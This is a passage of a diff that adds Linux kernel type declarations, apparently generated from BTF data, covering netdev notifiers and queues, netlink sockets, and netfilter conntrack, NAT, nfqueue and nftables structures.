netdev_notifier_change_info { + struct netdev_notifier_info info; + unsigned int flags_changed; +}; + +struct netdev_notifier_changelowerstate_info { + struct netdev_notifier_info info; + void *lower_state_info; +}; + +struct netdev_notifier_changeupper_info { + struct netdev_notifier_info info; + struct net_device *upper_dev; + bool master; + bool linking; + void *upper_info; +}; + +struct netdev_notifier_info_ext { + struct netdev_notifier_info info; + union { + u32 mtu; + } ext; +}; + +struct netdev_notifier_offload_xstats_rd; + +struct netdev_notifier_offload_xstats_ru; + +struct netdev_notifier_offload_xstats_info { + struct netdev_notifier_info info; + enum netdev_offload_xstats_type type; + union { + struct netdev_notifier_offload_xstats_rd *report_delta; + struct netdev_notifier_offload_xstats_ru *report_used; + }; +}; + +struct rtnl_hw_stats64 { + __u64 rx_packets; + __u64 tx_packets; + __u64 rx_bytes; + __u64 tx_bytes; + __u64 rx_errors; + __u64 tx_errors; + __u64 rx_dropped; + __u64 tx_dropped; + __u64 multicast; +}; + +struct netdev_notifier_offload_xstats_rd { + struct rtnl_hw_stats64 stats; + bool used; +}; + +struct netdev_notifier_offload_xstats_ru { + bool used; +}; + +struct netdev_notifier_pre_changeaddr_info { + struct netdev_notifier_info info; + const unsigned char *dev_addr; +}; + +struct netdev_queue { + struct net_device *dev; + netdevice_tracker dev_tracker; + struct Qdisc __attribute__((btf_type_tag("rcu"))) *qdisc; + struct Qdisc __attribute__((btf_type_tag("rcu"))) *qdisc_sleeping; + struct kobject kobj; + unsigned long tx_maxrate; + atomic_long_t trans_timeout; + struct net_device *sb_dev; + long: 64; + long: 64; + struct dql dql; + spinlock_t _xmit_lock; + int xmit_lock_owner; + unsigned long trans_start; + unsigned long state; + struct napi_struct *napi; + int numa_node; + long: 64; + long: 64; + long: 64; +}; + +struct netdev_queue_attribute { + struct attribute attr; + ssize_t (*show)(struct netdev_queue *, char *); + ssize_t (*store)(struct netdev_queue *, const char *, size_t); +}; + +struct netdev_queue_mgmt_ops { + size_t ndo_queue_mem_size; + int (*ndo_queue_mem_alloc)(struct net_device *, void *, int); + void (*ndo_queue_mem_free)(struct net_device *, void *); + int (*ndo_queue_start)(struct net_device *, void *, int); + int (*ndo_queue_stop)(struct net_device *, void *, int); +}; + +struct netdev_queue_stats_rx { + u64 bytes; + u64 packets; + u64 alloc_fail; + u64 hw_drops; + u64 hw_drop_overruns; + u64 csum_unnecessary; + u64 csum_none; + u64 csum_bad; + u64 hw_gro_packets; + u64 hw_gro_bytes; + u64 hw_gro_wire_packets; + u64 hw_gro_wire_bytes; + u64 hw_drop_ratelimits; +}; + +struct netdev_queue_stats_tx { + u64 bytes; + u64 packets; + u64 hw_drops; + u64 hw_drop_errors; + u64 csum_none; + u64 needs_csum; + u64 hw_gso_packets; + u64 hw_gso_bytes; + u64 hw_gso_wire_packets; + u64 hw_gso_wire_bytes; + u64 hw_drop_ratelimits; + u64 stop; + u64 wake; +}; + +struct pp_memory_provider_params { + void *mp_priv; +}; + +struct rps_map; + +struct rps_dev_flow_table; + +struct netdev_rx_queue { + struct xdp_rxq_info xdp_rxq; + struct rps_map __attribute__((btf_type_tag("rcu"))) *rps_map; + struct rps_dev_flow_table __attribute__((btf_type_tag("rcu"))) *rps_flow_table; + struct kobject kobj; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct napi_struct *napi; + struct pp_memory_provider_params mp_params; + long: 64; + long: 64; + long: 64; +}; + +struct netdev_stat_ops { + void (*get_queue_stats_rx)(struct net_device *, int, struct netdev_queue_stats_rx *); + void (*get_queue_stats_tx)(struct net_device *, int, struct netdev_queue_stats_tx *); + void (*get_base_stats)(struct net_device *, struct netdev_queue_stats_rx *, struct netdev_queue_stats_tx *); +}; + +struct netdev_xmit { + u16 recursion; + u8 more; + u8 skip_txqueue; +}; + +struct netevent_redirect { + struct dst_entry *old; + struct dst_entry *new; + struct neighbour *neigh; + const void *daddr; +}; + +struct netlink_broadcast_data { + struct sock *exclude_sk; + struct net *net; + u32 portid; + u32 group; + int failure; + int delivery_failure; + int congested; + int delivered; + gfp_t allocation; + struct sk_buff *skb; + struct sk_buff *skb2; + int (*tx_filter)(struct sock *, struct sk_buff *, void *); + void *tx_data; +}; + +struct netlink_callback { + struct sk_buff *skb; + const struct nlmsghdr *nlh; + int (*dump)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + void *data; + struct module *module; + struct netlink_ext_ack *extack; + u16 family; + u16 answer_flags; + u32 min_dump_alloc; + unsigned int prev_seq; + unsigned int seq; + int flags; + bool strict_check; + union { + u8 ctx[48]; + long args[6]; + }; +}; + +struct netlink_compare_arg { + possible_net_t pnet; + u32 portid; +}; + +struct netlink_dump_control { + int (*start)(struct netlink_callback *); + int (*dump)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + struct netlink_ext_ack *extack; + void *data; + struct module *module; + u32 min_dump_alloc; + int flags; +}; + +struct netlink_ext_ack { + const char *_msg; + const struct nlattr *bad_attr; + const struct nla_policy *policy; + const struct nlattr *miss_nest; + u16 miss_type; + u8 cookie[20]; + u8 cookie_len; + char _msg_buf[80]; +}; + +struct netlink_kernel_cfg { + unsigned int groups; + unsigned int flags; + void (*input)(struct sk_buff *); + int (*bind)(struct net *, int); + void (*unbind)(struct net *, int); + void (*release)(struct sock *, unsigned long *); +}; + +struct netlink_notify { + struct net *net; + u32 portid; + int protocol; +}; + +struct netlink_policy_dump_state { + unsigned int policy_idx; + unsigned int attr_idx; + unsigned int n_alloc; + struct { + const struct nla_policy *policy; + unsigned int maxtype; + } policies[0]; +}; + +struct netlink_range_validation { + u64 min; + u64 max; +}; + +struct netlink_range_validation_signed { + s64 min; + s64 max; +}; + +struct netlink_set_err_data { + struct sock *exclude_sk; + u32 portid; + u32 group; + int code; +}; + +struct scm_creds { + u32 pid; + kuid_t uid; + kgid_t gid; +}; + +struct netlink_skb_parms { + struct scm_creds creds; + __u32 portid; + __u32 dst_group; + __u32 flags; + struct sock *sk; + bool nsid_is_set; + int nsid; +}; + +struct netlink_sock { + struct sock sk; + unsigned long flags; + u32 portid; + u32 dst_portid; + u32 dst_group; + u32 subscriptions; + u32 ngroups; + unsigned long *groups; + unsigned long state; + size_t max_recvmsg_len; + wait_queue_head_t wait; + bool bound; + bool cb_running; + int dump_done_errno; + struct netlink_callback cb; + struct mutex nl_cb_mutex; + void (*netlink_rcv)(struct sk_buff *); + int (*netlink_bind)(struct net *, int); + void (*netlink_unbind)(struct net *, int); + void (*netlink_release)(struct sock *, unsigned long *); + struct module *module; + struct rhash_head node; + struct callback_head rcu; + struct work_struct work; +}; + +struct netlink_table { + struct rhashtable hash; + struct hlist_head mc_list; + struct listeners __attribute__((btf_type_tag("rcu"))) *listeners; + unsigned int flags; + unsigned int groups; + struct mutex *cb_mutex; + struct module *module; + int (*bind)(struct net *, int); + void (*unbind)(struct net *, int); + void (*release)(struct sock *, unsigned long *); + int registered; +}; + +struct netlink_tap { + struct net_device *dev; + struct module *module; + struct list_head list; +}; + +struct netlink_tap_net { + struct list_head netlink_tap_all; + struct mutex netlink_tap_lock; +}; + +struct netsfhdr { + __be32 version; + __be64 magic; + u8 id; +} __attribute__((packed)); + +struct new_utsname { + char sysname[65]; + char nodename[65]; + char release[65]; + char version[65]; + char machine[65]; + char domainname[65]; +}; + +struct nh_info; + +struct nh_group; + +struct nexthop { + struct rb_node rb_node; + struct list_head fi_list; + struct list_head f6i_list; + struct list_head fdb_list; + struct list_head grp_list; + struct net *net; + u32 id; + u8 protocol; + u8 nh_flags; + bool is_group; + refcount_t refcnt; + struct callback_head rcu; + union { + struct nh_info __attribute__((btf_type_tag("rcu"))) *nh_info; + struct nh_group __attribute__((btf_type_tag("rcu"))) *nh_grp; + }; +}; + +struct nexthop_grp { + __u32 id; + __u8 weight; + __u8 weight_high; + __u16 resvd2; +}; + +struct nf_acct { + atomic64_t pkts; + atomic64_t bytes; + unsigned long flags; + struct list_head head; + refcount_t refcnt; + char name[32]; + struct callback_head callback_head; + char data[0]; +}; + +struct nf_br_ops { + int (*br_dev_xmit_hook)(struct sk_buff *); +}; + +struct nf_bridge_info { + enum { + BRNF_PROTO_UNCHANGED = 0, + BRNF_PROTO_8021Q = 1, + BRNF_PROTO_PPPOE = 2, + } orig_proto: 8; + u8 pkt_otherhost: 1; + u8 in_prerouting: 1; + u8 bridged_dnat: 1; + u8 sabotage_in_done: 1; + __u16 frag_max_size; + int physinif; + struct net_device *physoutdev; + union { + __be32 ipv4_daddr; + struct in6_addr ipv6_daddr; + char neigh_header[8]; + }; +}; + +struct nf_conntrack { + refcount_t use; +}; + +struct nf_conntrack_tuple_hash { + struct hlist_nulls_node hnnode; + struct nf_conntrack_tuple tuple; +}; + +struct nf_ct_dccp { + u_int8_t role[2]; + u_int8_t state; + u_int8_t last_pkt; + u_int8_t last_dir; + u_int64_t handshake_seq; +}; + +struct nf_ct_udp { + unsigned long stream_ts; +}; + +struct nf_ct_gre { + unsigned int stream_timeout; + unsigned int timeout; +}; + +union nf_conntrack_proto { + struct nf_ct_dccp dccp; + struct ip_ct_sctp sctp; + struct ip_ct_tcp tcp; + struct nf_ct_udp udp; + struct nf_ct_gre gre; + unsigned int tmpl_padto; +}; + +struct nf_ct_ext; + +struct nf_conn { + struct nf_conntrack ct_general; + spinlock_t lock; + u32 timeout; + struct nf_conntrack_tuple_hash tuplehash[2]; + unsigned long status; + possible_net_t ct_net; + struct hlist_node nat_bysource; + struct {} __nfct_init_offset; + struct nf_conn *master; + u_int32_t mark; + struct nf_ct_ext *ext; + union nf_conntrack_proto proto; +}; + +struct nf_conn___init { + struct nf_conn ct; +}; + +struct nf_conn_counter { + atomic64_t packets; + atomic64_t bytes; +}; + +struct nf_conn_acct { + struct nf_conn_counter counter[2]; +}; + +struct nf_conntrack_helper; + +struct nf_conn_help { + struct nf_conntrack_helper __attribute__((btf_type_tag("rcu"))) *helper; + struct hlist_head expectations; + u8 expecting[4]; + long: 0; + char data[32]; +}; + +struct nf_conn_labels { + unsigned long bits[2]; +}; + +union nf_conntrack_nat_help {}; + +struct nf_conn_nat { + union nf_conntrack_nat_help help; + int masq_index; +}; + +struct nf_ct_seqadj { + u32 correction_pos; + s32 offset_before; + s32 offset_after; +}; + +struct nf_conn_seqadj { + struct nf_ct_seqadj seq[2]; +}; + +struct nf_ct_timeout; + +struct nf_conn_timeout { + struct nf_ct_timeout __attribute__((btf_type_tag("rcu"))) *timeout; +}; + +struct nf_conn_tstamp { + u_int64_t start; + u_int64_t stop; +}; + +struct nf_conntrack_tuple_mask { + struct { + union nf_inet_addr u3; + union nf_conntrack_man_proto u; + } src; +}; + +struct nf_conntrack_expect { + struct hlist_node lnode; + struct hlist_node hnode; + struct nf_conntrack_tuple tuple; + struct nf_conntrack_tuple_mask mask; + refcount_t use; + unsigned int flags; + unsigned int class; + void (*expectfn)(struct nf_conn *, struct nf_conntrack_expect *); + struct nf_conntrack_helper *helper; + struct nf_conn *master; + struct timer_list timeout; + union nf_inet_addr saved_addr; + union nf_conntrack_man_proto saved_proto; + enum ip_conntrack_dir dir; + struct callback_head rcu; +}; + +struct nf_conntrack_expect_policy { + unsigned int max_expected; + unsigned int timeout; + char name[16]; +}; + +struct nf_conntrack_helper { + struct hlist_node hnode; + char name[16]; + refcount_t refcnt; + struct module *me; + const struct nf_conntrack_expect_policy *expect_policy; + struct nf_conntrack_tuple tuple; + int (*help)(struct sk_buff *, unsigned int, struct nf_conn *, enum ip_conntrack_info); + void (*destroy)(struct nf_conn *); + int (*from_nlattr)(struct nlattr *, struct nf_conn *); + int (*to_nlattr)(struct sk_buff *, const struct nf_conn *); + unsigned int expect_class_max; + unsigned int flags; + unsigned int queue_num; + u16 data_len; + char nat_mod_name[16]; +}; + +struct nf_conntrack_l4proto { + u_int8_t l4proto; + bool allow_clash; + u16 nlattr_size; + bool (*can_early_drop)(const struct nf_conn *); + int (*to_nlattr)(struct sk_buff *, struct nlattr *, struct nf_conn *, bool); + int (*from_nlattr)(struct nlattr **, struct nf_conn *); + int (*tuple_to_nlattr)(struct sk_buff *, const struct nf_conntrack_tuple *); + unsigned int (*nlattr_tuple_size)(void); + int (*nlattr_to_tuple)(struct nlattr **, struct nf_conntrack_tuple *, u_int32_t); + const struct nla_policy *nla_policy; + struct { + int (*nlattr_to_obj)(struct nlattr **, struct net *, void *); + int (*obj_to_nlattr)(struct sk_buff *, const void *); + u16 obj_size; + u16 nlattr_max; + const struct nla_policy *nla_policy; + } ctnl_timeout; + void (*print_conntrack)(struct seq_file *, struct nf_conn *); +}; + +struct nf_conntrack_nat_helper { + struct list_head list; + char mod_name[16]; + struct module *module; +}; + +struct nf_conntrack_net { + atomic_t count; + unsigned int expect_count; + unsigned int users4; + unsigned int users6; + unsigned int users_bridge; + struct ctl_table_header *sysctl_header; +}; + +struct nf_ct_bridge_info { + struct nf_hook_ops *ops; + unsigned int ops_size; + struct module *me; +}; + +struct nf_ct_ext { + u8 offset[4]; + u8 len; + unsigned int gen_id; + long: 0; + char data[0]; +}; + +struct nf_ct_helper_expectfn { + struct list_head head; + const char *name; + void (*expectfn)(struct nf_conn *, struct nf_conntrack_expect *); +}; + +struct nf_ct_hook { + int (*update)(struct net *, struct sk_buff *); + void (*destroy)(struct nf_conntrack *); + bool (*get_tuple_skb)(struct nf_conntrack_tuple *, const struct sk_buff *); + void (*attach)(struct sk_buff *, const struct sk_buff *); + void (*set_closing)(struct nf_conntrack *); + int (*confirm)(struct sk_buff *); +}; + +struct nf_ct_iter_data { + struct net *net; + void *data; + u32 portid; + int report; +}; + +struct nf_ct_tcp_flags { + __u8 flags; + __u8 mask; +}; + +struct nf_ct_timeout { + __u16 l3num; + const struct nf_conntrack_l4proto *l4proto; + char data[0]; +}; + +struct nf_defrag_hook { + struct module *owner; + int (*enable)(struct net *); + void (*disable)(struct net *); +}; + +struct nf_flow_key { + struct flow_dissector_key_meta meta; + struct flow_dissector_key_control control; + struct flow_dissector_key_control enc_control; + struct flow_dissector_key_basic basic; + struct flow_dissector_key_vlan vlan; + struct flow_dissector_key_vlan cvlan; + union { + struct flow_dissector_key_ipv4_addrs ipv4; + struct flow_dissector_key_ipv6_addrs ipv6; + }; + struct flow_dissector_key_keyid enc_key_id; + union { + struct flow_dissector_key_ipv4_addrs enc_ipv4; + struct flow_dissector_key_ipv6_addrs enc_ipv6; + }; + struct flow_dissector_key_tcp tcp; + struct flow_dissector_key_ports tp; +}; + +struct nf_flow_match { + struct flow_dissector dissector; + struct nf_flow_key key; + struct nf_flow_key mask; +}; + +struct nf_flow_rule { + struct nf_flow_match match; + struct flow_rule *rule; +}; + +struct nf_flowtable_type; + +struct nf_flowtable { + unsigned int flags; + int priority; + struct rhashtable rhashtable; + struct list_head list; + const struct nf_flowtable_type *type; + struct delayed_work gc_work; + struct flow_block flow_block; + struct rw_semaphore flow_block_lock; + possible_net_t net; +}; + +struct nf_flowtable_type { + struct list_head list; + int family; + int (*init)(struct nf_flowtable *); + bool (*gc)(const struct flow_offload *); + int (*setup)(struct nf_flowtable *, struct net_device *, enum flow_block_command); + int (*action)(struct net *, struct flow_offload *, enum flow_offload_tuple_dir, struct nf_flow_rule *); + void (*free)(struct nf_flowtable *); + void (*get)(struct nf_flowtable *); + void (*put)(struct nf_flowtable *); + nf_hookfn *hook; + struct module *owner; +}; + +struct nf_hook_entry { + nf_hookfn *hook; + void *priv; +}; + +struct nf_hook_entries { + u16 num_hook_entries; + struct nf_hook_entry hooks[0]; +}; + +struct nf_hook_entries_rcu_head { + struct callback_head head; + void *allocation; +}; + +struct nf_hook_state { + u8 hook; + u8 pf; + struct net_device *in; + struct net_device *out; + struct sock *sk; + struct net *net; + int (*okfn)(struct net *, struct sock *, struct sk_buff *); +}; + +struct nf_queue_entry; + +struct nf_ipv6_ops { + void (*route_input)(struct sk_buff *); + int (*fragment)(struct net *, struct sock *, struct sk_buff *, int (*)(struct net *, struct sock *, struct sk_buff *)); + int (*reroute)(struct sk_buff *, const struct nf_queue_entry *); +}; + +struct nf_log_buf { + unsigned int count; + char buf[1020]; +}; + +struct nf_loginfo; + +typedef void nf_logfn(struct net *, u_int8_t, unsigned int, const struct sk_buff *, const struct net_device *, const struct net_device *, const struct nf_loginfo *, const char *); + +struct nf_logger { + char *name; + enum nf_log_type type; + nf_logfn *logfn; + struct module *me; +}; + +struct nf_loginfo { + u_int8_t type; + union { + struct { + u_int32_t copy_len; + u_int16_t group; + u_int16_t qthreshold; + u_int16_t flags; + } ulog; + struct { + u_int8_t level; + u_int8_t logflags; + } log; + } u; +}; + +struct nf_mttg_trav { + struct list_head *head; + struct list_head *curr; + uint8_t class; +}; + +struct nf_nat_hook { + int (*parse_nat_setup)(struct nf_conn *, enum nf_nat_manip_type, const struct nlattr *); + void (*decode_session)(struct sk_buff *, struct flowi *); + unsigned int (*manip_pkt)(struct sk_buff *, struct nf_conn *, enum nf_nat_manip_type, enum ip_conntrack_dir); + void (*remove_nat_bysrc)(struct nf_conn *); +}; + +struct nf_nat_ipv4_range { + unsigned int flags; + __be32 min_ip; + __be32 max_ip; + union nf_conntrack_man_proto min; + union nf_conntrack_man_proto max; +}; + +struct nf_nat_ipv4_multi_range_compat { + unsigned int rangesize; + struct nf_nat_ipv4_range range[1]; +}; + +struct nf_nat_lookup_hook_priv { + struct nf_hook_entries __attribute__((btf_type_tag("rcu"))) *entries; + struct callback_head callback_head; +}; + +struct nf_nat_proto_clean { + u8 l3proto; + u8 l4proto; +}; + +struct nf_nat_range { + unsigned int flags; + union nf_inet_addr min_addr; + union nf_inet_addr max_addr; + union nf_conntrack_man_proto min_proto; + union nf_conntrack_man_proto max_proto; +}; + +struct nf_nat_range2 { + unsigned int flags; + union nf_inet_addr min_addr; + union nf_inet_addr max_addr; + union nf_conntrack_man_proto min_proto; + union nf_conntrack_man_proto max_proto; + union nf_conntrack_man_proto base_proto; +}; + +struct nf_queue_entry { + struct list_head list; + struct sk_buff *skb; + unsigned int id; + unsigned int hook_index; + struct net_device *physin; + struct net_device *physout; + struct nf_hook_state state; + u16 size; +}; + +struct nf_queue_handler { + int (*outfn)(struct nf_queue_entry *, unsigned int); + void (*nf_hook_drop)(struct net *); +}; + +struct nf_sockopt_ops { + struct list_head list; + u_int8_t pf; + int set_optmin; + int set_optmax; + int (*set)(struct sock *, int, sockptr_t, unsigned int); + int get_optmin; + int get_optmax; + int (*get)(struct sock *, int, void __attribute__((btf_type_tag("user"))) *, int *); + struct module *owner; +}; + +struct nfacct_filter { + u32 value; + u32 mask; +}; + +struct nfgenmsg { + __u8 nfgen_family; + __u8 version; + __be16 res_id; +}; + +struct nfnl_callback; + +struct nfnetlink_subsystem { + const char *name; + __u8 subsys_id; + __u8 cb_count; + const struct nfnl_callback *cb; + struct module *owner; + int (*commit)(struct net *, struct sk_buff *); + int (*abort)(struct net *, struct sk_buff *, enum nfnl_abort_action); + bool (*valid_genid)(struct net *, u32); +}; + +struct nfnl_acct_net { + struct list_head nfnl_acct_list; +}; + +struct nfnl_info; + +struct nfnl_callback { + int (*call)(struct sk_buff *, const struct nfnl_info *, const struct nlattr * const *); + const struct nla_policy *policy; + enum nfnl_callback_type type; + __u16 attr_count; +}; + +struct nfnl_ct_hook { + size_t (*build_size)(const struct nf_conn *); + int (*build)(struct sk_buff *, struct nf_conn *, enum ip_conntrack_info, u_int16_t, u_int16_t); + int (*parse)(const struct nlattr *, struct nf_conn *); + int (*attach_expect)(const struct nlattr *, struct nf_conn *, u32, u32); + void (*seq_adjust)(struct sk_buff *, struct nf_conn *, enum ip_conntrack_info, s32); +}; + +struct nfnl_cthelper { + struct list_head list; + struct nf_conntrack_helper helper; +}; + +struct nfnl_err { + struct list_head head; + struct nlmsghdr *nlh; + int err; + struct netlink_ext_ack extack; +}; + +struct nfnl_info { + struct net *net; + struct sock *sk; + const struct nlmsghdr *nlh; + const struct nfgenmsg *nfmsg; + struct netlink_ext_ack *extack; +}; + +struct nfnl_log_net { + spinlock_t instances_lock; + struct hlist_head instance_table[16]; + atomic_t global_seq; +}; + +struct nfnl_net { + struct sock *nfnl; +}; + +struct nfnl_queue_net { + spinlock_t instances_lock; + struct hlist_head instance_table[16]; +}; + +struct nfqnl_instance { + struct hlist_node hlist; + struct callback_head rcu; + u32 peer_portid; + unsigned int queue_maxlen; + unsigned int copy_range; + unsigned int queue_dropped; + unsigned int queue_user_dropped; + u_int16_t queue_num; + u_int8_t copy_mode; + u_int32_t flags; + spinlock_t lock; + unsigned int queue_total; + unsigned int id_sequence; + struct list_head queue_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct nfqnl_msg_config_cmd { + __u8 command; + __u8 _pad; + __be16 pf; +}; + +struct nfqnl_msg_config_params { + __be32 copy_range; + __u8 copy_mode; +} __attribute__((packed)); + +struct nfqnl_msg_packet_hdr { + __be32 packet_id; + __be16 hw_protocol; + __u8 hook; +} __attribute__((packed)); + +struct nfqnl_msg_packet_hw { + __be16 hw_addrlen; + __u16 _pad; + __u8 hw_addr[8]; +}; + +struct nfqnl_msg_packet_timestamp { + __be64 sec; + __be64 usec; +}; + +struct nfqnl_msg_verdict_hdr { + __be32 verdict; + __be32 id; +}; + +struct nft_table; + +struct nft_audit_data { + struct nft_table *table; + int entries; + int op; + struct list_head list; +}; + +struct nft_rule_blob; + +struct nft_chain { + struct nft_rule_blob __attribute__((btf_type_tag("rcu"))) *blob_gen_0; + struct nft_rule_blob __attribute__((btf_type_tag("rcu"))) *blob_gen_1; + struct list_head rules; + struct list_head list; + struct rhlist_head rhlhead; + struct nft_table *table; + u64 handle; + u32 use; + u8 flags: 5; + u8 bound: 1; + u8 genmask: 2; + char *name; + u16 udlen; + u8 *udata; + struct nft_rule_blob *blob_next; +}; + +struct nft_chain_type; + +struct nft_stats; + +struct nft_base_chain { + struct nf_hook_ops ops; + struct list_head hook_list; + const struct nft_chain_type *type; + u8 policy; + u8 flags; + struct nft_stats __attribute__((btf_type_tag("percpu"))) *stats; + struct nft_chain chain; + struct flow_block flow_block; +}; + +struct nft_bitmap { + struct list_head list; + u16 bitmap_size; + u8 bitmap[0]; +}; + +struct nft_elem_priv {}; + +struct nft_set_ext { + u8 genmask; + u8 offset[8]; + char data[0]; +}; + +struct nft_bitmap_elem { + struct nft_elem_priv priv; + struct list_head head; + struct nft_set_ext ext; +}; + +struct nft_verdict { + u32 code; + struct nft_chain *chain; +}; + +struct nft_data { + union { + u32 data[4]; + struct nft_verdict verdict; + }; +}; + +struct nft_bitwise { + u8 sreg; + u8 dreg; + enum nft_bitwise_ops op: 8; + u8 len; + struct nft_data mask; + struct nft_data xor; + struct nft_data data; +}; + +struct nft_bitwise_fast_expr { + u32 mask; + u32 xor; + u8 sreg; + u8 dreg; +}; + +struct nft_byteorder { + u8 sreg; + u8 dreg; + enum nft_byteorder_ops op: 8; + u8 len; + u8 size; +}; + +struct nft_chain_hook { + u32 num; + s32 priority; + const struct nft_chain_type *type; + struct list_head list; +}; + +struct nft_chain_type { + const char *name; + enum nft_chain_types type; + int family; + struct module *owner; + unsigned int hook_mask; + nf_hookfn *hooks[6]; + int (*ops_register)(struct net *, const struct nf_hook_ops *); + void (*ops_unregister)(struct net *, const struct nf_hook_ops *); +}; + +struct nft_cmp16_fast_expr { + struct nft_data data; + struct nft_data mask; + u8 sreg; + u8 len; + bool inv; +}; + +struct nft_cmp_expr { + struct nft_data data; + u8 sreg; + u8 len; + enum nft_cmp_ops op: 8; +}; + +struct nft_cmp_fast_expr { + u32 data; + u32 mask; + u8 sreg; + u8 len; + bool inv; +}; + +union nft_cmp_offload_data { + u16 val16; + u32 val32; + u64 val64; +}; + +struct nft_counter { + u64_stats_t bytes; + u64_stats_t packets; +}; + +struct nft_counter_percpu_priv { + struct nft_counter __attribute__((btf_type_tag("percpu"))) *counter; +}; + +struct nft_counter_tot { + s64 bytes; + s64 packets; +}; + +struct nft_ct { + enum nft_ct_keys key: 8; + enum ip_conntrack_dir dir: 8; + u8 len; + union { + u8 dreg; + u8 sreg; + }; +}; + +struct nft_ct_expect_obj { + u16 l3num; + __be16 dport; + u8 l4proto; + u8 size; + u32 timeout; +}; + +struct nft_ct_frag6_pernet { + struct ctl_table_header *nf_frag_frags_hdr; + struct fqdir *fqdir; +}; + +struct nft_ct_helper_obj { + struct nf_conntrack_helper *helper4; + struct nf_conntrack_helper *helper6; + u8 l4proto; +}; + +struct nft_ctx { + struct net *net; + struct nft_table *table; + struct nft_chain *chain; + const struct nlattr * const *nla; + u32 portid; + u32 seq; + u16 flags; + u8 family; + u8 level; + bool report; + unsigned long reg_inited[1]; +}; + +struct nft_data_desc { + enum nft_data_types type; + unsigned int size; + unsigned int len; + unsigned int flags; +}; + +struct nft_set_ext_tmpl { + u16 len; + u8 offset[8]; + u8 ext_len[8]; +}; + +struct nft_set_binding { + struct list_head list; + const struct nft_chain *chain; + u32 flags; +}; + +struct nft_set; + +struct nft_expr; + +struct nft_dynset { + struct nft_set *set; + struct nft_set_ext_tmpl tmpl; + enum nft_dynset_ops op: 8; + u8 sreg_key; + u8 sreg_data; + bool invert; + bool expr; + u8 num_exprs; + u64 timeout; + struct nft_expr *expr_array[2]; + struct nft_set_binding binding; +}; + +union nft_entry { + struct ipt_entry e4; + struct ip6t_entry e6; + struct ebt_entry ebt; + struct arpt_entry arp; +}; + +struct nft_expr { + const struct nft_expr_ops *ops; + unsigned char data[0]; +}; + +struct nft_expr_info { + const struct nft_expr_ops *ops; + const struct nlattr *attr; + struct nlattr *tb[17]; +}; + +struct nft_regs; + +struct nft_pktinfo; + +struct nft_regs_track; + +struct nft_offload_ctx; + +struct nft_flow_rule; + +struct nft_expr_type; + +struct nft_expr_ops { + void (*eval)(const struct nft_expr *, struct nft_regs *, const struct nft_pktinfo *); + int (*clone)(struct nft_expr *, const struct nft_expr *, gfp_t); + unsigned int size; + int (*init)(const struct nft_ctx *, const struct nft_expr *, const struct nlattr * const *); + void (*activate)(const struct nft_ctx *, const struct nft_expr *); + void (*deactivate)(const struct nft_ctx *, const struct nft_expr *, enum nft_trans_phase); + void (*destroy)(const struct nft_ctx *, const struct nft_expr *); + void (*destroy_clone)(const struct nft_ctx *, const struct nft_expr *); + int (*dump)(struct sk_buff *, const struct nft_expr *, bool); + int (*validate)(const struct nft_ctx *, const struct nft_expr *); + bool (*reduce)(struct nft_regs_track *, const struct nft_expr *); + bool (*gc)(struct net *, const struct nft_expr *); + int (*offload)(struct nft_offload_ctx *, struct nft_flow_rule *, const struct nft_expr *); + bool (*offload_action)(const struct nft_expr *); + void (*offload_stats)(struct nft_expr *, const struct flow_stats *); + const struct nft_expr_type *type; + void *data; +}; + +struct nft_expr_type { + const struct nft_expr_ops * (*select_ops)(const struct nft_ctx *, const struct nlattr * const *); + void (*release_ops)(const struct nft_expr_ops *); + const struct nft_expr_ops *ops; + const struct nft_expr_ops *inner_ops; + struct list_head list; + const char *name; + struct module *owner; + const struct nla_policy *policy; + unsigned int maxattr; + u8 family; + u8 flags; +}; + +struct nft_exthdr { + u8 type; + u8 offset; + u8 len; + u8 op; + u8 dreg; + u8 sreg; + u8 flags; +}; + +struct nft_flow_key { + struct flow_dissector_key_basic basic; + struct flow_dissector_key_control control; + union { + struct flow_dissector_key_ipv4_addrs ipv4; + struct flow_dissector_key_ipv6_addrs ipv6; + }; + struct flow_dissector_key_ports tp; + struct flow_dissector_key_ip ip; + struct flow_dissector_key_vlan vlan; + struct flow_dissector_key_vlan cvlan; + struct flow_dissector_key_eth_addrs eth_addrs; + struct flow_dissector_key_meta meta; +}; + +struct nft_flow_match { + struct flow_dissector dissector; + struct nft_flow_key key; + struct nft_flow_key mask; +}; + +struct nft_flow_rule { + __be16 proto; + struct nft_flow_match match; + struct flow_rule *rule; +}; + +struct nft_flowtable { + struct list_head list; + struct nft_table *table; + char *name; + int hooknum; + int ops_len; + u32 genmask: 2; + u32 use; + u64 handle; + long: 64; + struct list_head hook_list; + struct nf_flowtable data; + long: 64; + long: 64; + long: 64; +}; + +struct nft_flowtable_filter { + char *table; +}; + +struct nft_flowtable_hook { + u32 num; + int priority; + struct list_head list; +}; + +struct nft_hash { + u32 seed; + u32 buckets; + struct hlist_head table[0]; +}; + +struct nft_hash_elem { + struct nft_elem_priv priv; + struct hlist_node node; + struct nft_set_ext ext; +}; + +struct nft_hook { + struct list_head list; + struct nf_hook_ops ops; + struct callback_head rcu; +}; + +struct nft_immediate_expr { + struct nft_data data; + u8 dreg; + u8 dlen; +}; + +struct nft_inner { + u8 flags; + u8 hdrsize; + u8 type; + u8 expr_type; + struct __nft_expr expr; +}; + +struct nft_inner_tun_ctx { + u16 type; + u16 inner_tunoff; + u16 inner_lloff; + u16 inner_nhoff; + u16 inner_thoff; + __be16 llproto; + u8 l4proto; + u8 flags; +}; + +struct nft_rule_dp; + +struct nft_jumpstack { + const struct nft_rule_dp *rule; +}; + +struct nft_last { + unsigned long jiffies; + unsigned int set; +}; + +struct nft_last_priv { + struct nft_last *last; +}; + +struct nft_lookup { + struct nft_set *set; + u8 sreg; + u8 dreg; + bool dreg_set; + bool invert; + struct nft_set_binding binding; +}; + +struct nft_module_request { + struct list_head list; + char module[56]; + bool done; +}; + +struct nft_nat { + u8 sreg_addr_min; + u8 sreg_addr_max; + u8 sreg_proto_min; + u8 sreg_proto_max; + enum nf_nat_manip_type type: 8; + u8 family; + u16 flags; +}; + +struct nft_obj_dump_ctx { + unsigned int s_idx; + char *table; + u32 type; + bool reset; +}; + +struct nft_object_hash_key { + const char *name; + const struct nft_table *table; +}; + +struct nft_object_ops; + +struct nft_object { + struct list_head list; + struct rhlist_head rhlhead; + struct nft_object_hash_key key; + u32 genmask: 2; + u32 use; + u64 handle; + u16 udlen; + u8 *udata; + long: 64; + long: 